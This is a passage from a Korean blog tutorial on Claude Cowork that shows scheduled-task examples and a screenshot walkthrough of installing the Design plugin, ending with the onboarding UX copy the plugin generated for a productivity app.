&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;1c&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;작업: &quot;이번 주의 프로젝트 진행상황을 분석하고
       주간 보고 스프레드시트 업데이트&quot;
스케줄: 매주 금요일 오후 5시&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;장점:&lt;/b&gt; 주간 보고 작업 시간을 절약하고, 일관된 형식의 보고서를 자동 생성한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;금요일 팀 프레젠테이션 (Friday Team Presentations)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;매주 금요일에 팀 프레젠테이션 자료를 자동으로 준비한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;1c&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;작업: &quot;이번 주 성과를 요약하고
       금요일 팀 미팅을 위한 프레젠테이션 슬라이드 작성&quot;
스케줄: 매주 금요일 오전 10시&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;플러그인과의 통합&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;예약 작업은 Claude Cowork 전용 플러그인과 결합하여 더 강력한 자동화를 제공할 수 있다.&lt;br /&gt;ex) 매주 월요일 아침에 디자인 툴(피그마라던지 등등) 에서 에셋을 자동 내보내기 같은 작업&lt;br /&gt;&amp;nbsp;- 코워크에서 플러그인 자체를 사용해보지 않아서 단순 연동 하는 방법 하나 테스트 해보겠다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;공식 플러그인 스토어&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Cowork는 &lt;a href=&quot;https://claude.com/plugins&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 플러그인 스토어&lt;/a&gt;에서 제공되는 전용 플러그인을 지원한다. (출처: &lt;a href=&quot;https://claude.com/blog/cowork-plugins&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Cowork Plugins 공식 블로그&lt;/a&gt;, 2026-02-24)&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Cowork용 플러그인 필터:&lt;/b&gt; 플러그인 스토어에서 &quot;Cowork용&quot; 필터를 선택하면 Cowork에 최적화된 플러그인만 표시된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;설치 위치:&lt;/b&gt; Claude Desktop &amp;gt; Cowork 탭 &amp;gt; 좌측 사이드바의 Customize 메뉴 &amp;gt; Plugins&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;주의:&lt;/b&gt; Cowork와 Code는 별도의 플러그인 패널을 가지며, Cowork에서 설치한 플러그인은 Code 탭에서 사용할 수 없고 그 반대도 마찬가지다&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2948&quot; data-origin-height=&quot;1914&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTxcd9/dJMcaiPTvvw/RKvnQukLtGJqkpdTaGEoo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTxcd9/dJMcaiPTvvw/RKvnQukLtGJqkpdTaGEoo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTxcd9/dJMcaiPTvvw/RKvnQukLtGJqkpdTaGEoo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTxcd9%2FdJMcaiPTvvw%2FRKvnQukLtGJqkpdTaGEoo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2948&quot; height=&quot;1914&quot; data-origin-width=&quot;2948&quot; data-origin-height=&quot;1914&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 설치 예시로 Design 플러그인을 설치 해 보았다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2346&quot; data-origin-height=&quot;1616&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rSWgC/dJMcajacI55/bmSHtj2CyeK5H2fqFTPfsK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rSWgC/dJMcajacI55/bmSHtj2CyeK5H2fqFTPfsK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rSWgC/dJMcajacI55/bmSHtj2CyeK5H2fqFTPfsK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrSWgC%2FdJMcajacI55%2FbmSHtj2CyeK5H2fqFTPfsK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2346&quot; height=&quot;1616&quot; data-origin-width=&quot;2346&quot; data-origin-height=&quot;1616&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- Claude 열기 클릭&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;898&quot; data-origin-height=&quot;1356&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVNHg2/dJMcahXNQkE/ZpfWuhtUuK5NssSMkCYdl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVNHg2/dJMcahXNQkE/ZpfWuhtUuK5NssSMkCYdl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVNHg2/dJMcahXNQkE/ZpfWuhtUuK5NssSMkCYdl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVNHg2%2FdJMcahXNQkE%2FZpfWuhtUuK5NssSMkCYdl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;577&quot; height=&quot;871&quot; data-origin-width=&quot;898&quot; data-origin-height=&quot;1356&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 동기화 클릭 ( 이미 동기화 되어있는 경우 다음과 같은 경고 문구 노출 )&lt;/p&gt;
&lt;div id=&quot;radix-_r_5n_&quot; style=&quot;background-color: #262624; color: #faf9f5; text-align: left;&quot; data-state=&quot;open&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;p style=&quot;color: #fe8181;&quot; data-ke-size=&quot;size16&quot;&gt;이 마켓플레이스는 이미 기본으로 포함되어 있습니다. (&amp;ldquo;Anthropic &amp;amp; Partners 제공&amp;rdquo; 참조)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1776&quot; data-origin-height=&quot;1226&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vIMaL/dJMb99ZNvmD/6K3HWlBJUkbavxtuNAoUZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vIMaL/dJMb99ZNvmD/6K3HWlBJUkbavxtuNAoUZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vIMaL/dJMb99ZNvmD/6K3HWlBJUkbavxtuNAoUZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvIMaL%2FdJMb99ZNvmD%2F6K3HWlBJUkbavxtuNAoUZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1776&quot; height=&quot;1226&quot; data-origin-width=&quot;1776&quot; data-origin-height=&quot;1226&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;-&amp;nbsp; 설치 버튼 클릭&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1720&quot; data-origin-height=&quot;1158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6V5D4/dJMb99SZLJN/TjPQMtqoYzUNQSQ0kHNpyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6V5D4/dJMb99SZLJN/TjPQMtqoYzUNQSQ0kHNpyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6V5D4/dJMb99SZLJN/TjPQMtqoYzUNQSQ0kHNpyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6V5D4%2FdJMb99SZLJN%2FTjPQMtqoYzUNQSQ0kHNpyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1720&quot; height=&quot;1158&quot; data-origin-width=&quot;1720&quot; data-origin-height=&quot;1158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 설치 완료 후 관리 버튼을 클릭&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2116&quot; data-origin-height=&quot;724&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csZv2o/dJMcahwKCcs/q6qpL36xY5Y74PWJeccRi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csZv2o/dJMcahwKCcs/q6qpL36xY5Y74PWJeccRi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csZv2o/dJMcahwKCcs/q6qpL36xY5Y74PWJeccRi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcsZv2o%2FdJMcahwKCcs%2Fq6qpL36xY5Y74PWJeccRi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2116&quot; height=&quot;724&quot; data-origin-width=&quot;2116&quot; data-origin-height=&quot;724&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- Design 플러그인에 대한 명령, 스킬, 사용예시 등이 나와 있다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FTLUG/dJMcabXAkzW/u7cDAXwpHkxmFQ4l4lt0Hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FTLUG/dJMcabXAkzW/u7cDAXwpHkxmFQ4l4lt0Hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FTLUG/dJMcabXAkzW/u7cDAXwpHkxmFQ4l4lt0Hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFTLUG%2FdJMcabXAkzW%2Fu7cDAXwpHkxmFQ4l4lt0Hk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;1246&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 상기 예시에 이는 Write UX copy for a screen or flow&amp;nbsp; 를 통해 테스트 진행 (그냥 쉽게 클로드 코워크 화면을 전달 해봤다.)&lt;br /&gt;( 너무 설명이 간단하고, 구체적인 내용이 없어서 퀄리티는 안나올 것 같다. 그냥 코워크 전용 플러그인들이 있구나로 봐주시면 좋을 것 같다. 플러그인을 활용도 할 수 있다 라고 이해해주시면 좋겠다. )&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1504&quot; data-origin-height=&quot;1316&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYiHQX/dJMcahwKDQb/ToYuPI20SnExleMVSk3KaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYiHQX/dJMcahwKDQb/ToYuPI20SnExleMVSk3KaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYiHQX/dJMcahwKDQb/ToYuPI20SnExleMVSk3KaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYiHQX%2FdJMcahwKDQb%2FToYuPI20SnExleMVSk3KaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1504&quot; height=&quot;1316&quot; data-origin-width=&quot;1504&quot; data-origin-height=&quot;1316&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) Onbarding 선택&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;594&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YyBks/dJMb99MddyA/UVxBqXaRwV20UnAHA9jcK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YyBks/dJMb99MddyA/UVxBqXaRwV20UnAHA9jcK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YyBks/dJMb99MddyA/UVxBqXaRwV20UnAHA9jcK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYyBks%2FdJMb99MddyA%2FUVxBqXaRwV20UnAHA9jcK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;471&quot; height=&quot;289&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;594&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;2) B2C consumer app&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;620&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/m4e1g/dJMcaaYFu5E/Kg9EYe5P738z6rNYjk22BK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/m4e1g/dJMcaaYFu5E/Kg9EYe5P738z6rNYjk22BK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/m4e1g/dJMcaaYFu5E/Kg9EYe5P738z6rNYjk22BK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fm4e1g%2FdJMcaaYFu5E%2FKg9EYe5P738z6rNYjk22BK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;477&quot; height=&quot;304&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;620&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;3) Friendly &amp;amp; warm&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;588&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cn6EeP/dJMcadug5jD/0yb7O56MX6GlrsOKAPnOg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cn6EeP/dJMcadug5jD/0yb7O56MX6GlrsOKAPnOg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cn6EeP/dJMcadug5jD/0yb7O56MX6GlrsOKAPnOg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcn6EeP%2FdJMcadug5jD%2F0yb7O56MX6GlrsOKAPnOg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;490&quot; height=&quot;303&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;588&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 진행 상황을 기다려 보자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;758&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/x9VyM/dJMcadug5j6/dGMSP89JSNrw84kDHpS1D0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/x9VyM/dJMcadug5j6/dGMSP89JSNrw84kDHpS1D0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/x9VyM/dJMcadug5j6/dGMSP89JSNrw84kDHpS1D0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fx9VyM%2FdJMcadug5j6%2FdGMSP89JSNrw84kDHpS1D0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;443&quot; height=&quot;349&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;758&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;616&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AJKv1/dJMcadVmiJR/nSWyKGhkJoUjTeLA7AZzWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AJKv1/dJMcadVmiJR/nSWyKGhkJoUjTeLA7AZzWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AJKv1/dJMcadVmiJR/nSWyKGhkJoUjTeLA7AZzWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAJKv1%2FdJMcadVmiJR%2FnSWyKGhkJoUjTeLA7AZzWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;445&quot; height=&quot;287&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;616&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1060&quot; data-origin-height=&quot;646&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYGCcj/dJMcahpYqcY/Ib1eM1FJtlcFtP0XZqIOa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYGCcj/dJMcahpYqcY/Ib1eM1FJtlcFtP0XZqIOa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYGCcj/dJMcahpYqcY/Ib1eM1FJtlcFtP0XZqIOa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYGCcj%2FdJMcahpYqcY%2FIb1eM1FJtlcFtP0XZqIOa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;470&quot; height=&quot;286&quot; data-origin-width=&quot;1060&quot; data-origin-height=&quot;646&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;902&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5ZMd0/dJMcaflnP3C/b2HM4DQuYEAjfr4b59Psf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5ZMd0/dJMcaflnP3C/b2HM4DQuYEAjfr4b59Psf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5ZMd0/dJMcaflnP3C/b2HM4DQuYEAjfr4b59Psf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5ZMd0%2FdJMcaflnP3C%2Fb2HM4DQuYEAjfr4b59Psf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;418&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;902&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 생성된 md 파일 확인&lt;/p&gt;
&lt;pre id=&quot;code_1772095592153&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Onboarding UX Copy &amp;mdash; Productivity App
**Tone:** Friendly &amp;amp; warm &amp;middot; **Product type:** B2C consumer app

---

## Screen 1 &amp;mdash; Welcome

**Headline:** Get things done &amp;mdash; without the chaos

**Subhead:** Your tasks, your goals, your way. Let's get you set up in under a minute.

**CTA:** Let's go &amp;rarr;

---

## Screen 2 &amp;mdash; Value Prop Carousel

### Slide 1
**Headline:** Everything in one place
**Body:** Capture tasks, set priorities, and never drop the ball again.

### Slide 2
**Headline:** Focus on what matters
**Body:** Smart daily views surface your most important work &amp;mdash; so you know exactly where to start.

### Slide 3
**Headline:** Built around your life
**Body:** Add due dates, reminders, and labels that actually make sense to you.

**CTA (final slide):** Start for free

---

## Screen 3 &amp;mdash; Account Creation

**Headline:** Create your account

**Form labels:**
- Name
- Email
- Password

**Helper text (password):** At least 8 characters

**CTA:** Create account

**Legal line:** By continuing, you agree to our [Terms of Service] and [Privacy Policy].

**Alternate sign-up:** Or continue with Google / Apple

**Already have an account?** [Sign in]

---

## Screen 4 &amp;mdash; Notifications Permission

**Headline:** Stay on top of things

**Body:** Allow notifications so we can remind you about tasks and deadlines &amp;mdash; only when it matters.

**CTA (primary):** Turn on notifications

**CTA (secondary):** Maybe later

---

## Screen 5 &amp;mdash; Personalization

**Headline:** How do you usually plan your day?

**Subhead:** We'll tailor your experience to fit how you work.

**Options:**
- Morning planner &amp;mdash; I map out my whole day first thing
- As-I-go &amp;mdash; I capture tasks whenever they come up
- End-of-day review &amp;mdash; I prep for tomorrow before I finish up
- I'm still figuring it out

**CTA:** Continue

---

## Screen 6 &amp;mdash; First Task Prompt

**Headline:** What's on your mind?

**Subhead:** Add your first task &amp;mdash; it can be anything.

**Input placeholder:** e.g. &quot;Pick up groceries&quot; or &quot;Finish project brief&quot;

**CTA:** Add task

**Skip link:** Skip for now

---

## Screen 7 &amp;mdash; All Done  

**Headline:** You're all set!

**Body:** Your workspace is ready. Start small &amp;mdash; even one task a day makes a difference.

**CTA:** Go to my tasks

---

## Empty State &amp;mdash; Task List (after onboarding, no tasks added)

**Headline:** Nothing here yet

**Body:** This is where your tasks will live. Add your first one and start making progress.

**CTA:** + Add a task

---

## Error States

### Email already in use
&amp;gt; An account with this email already exists. [Sign in] or [reset your password].

### Weak password
&amp;gt; Password needs at least 8 characters. Make it something memorable (but not obvious!).

### Network error during sign-up
&amp;gt; Something went wrong on our end. Don't worry &amp;mdash; your info wasn't saved. Try again?

**CTA:** Try again

---

## Microcopy Notes

| Element | Copy |
|---|---|
| Loading state | Setting things up&amp;hellip; |
| Task added confirmation | Task added ✓ |
| Notification opt-in chip | Reminders on |
| Progress indicator (3 of 5) | Step 3 of 5 |
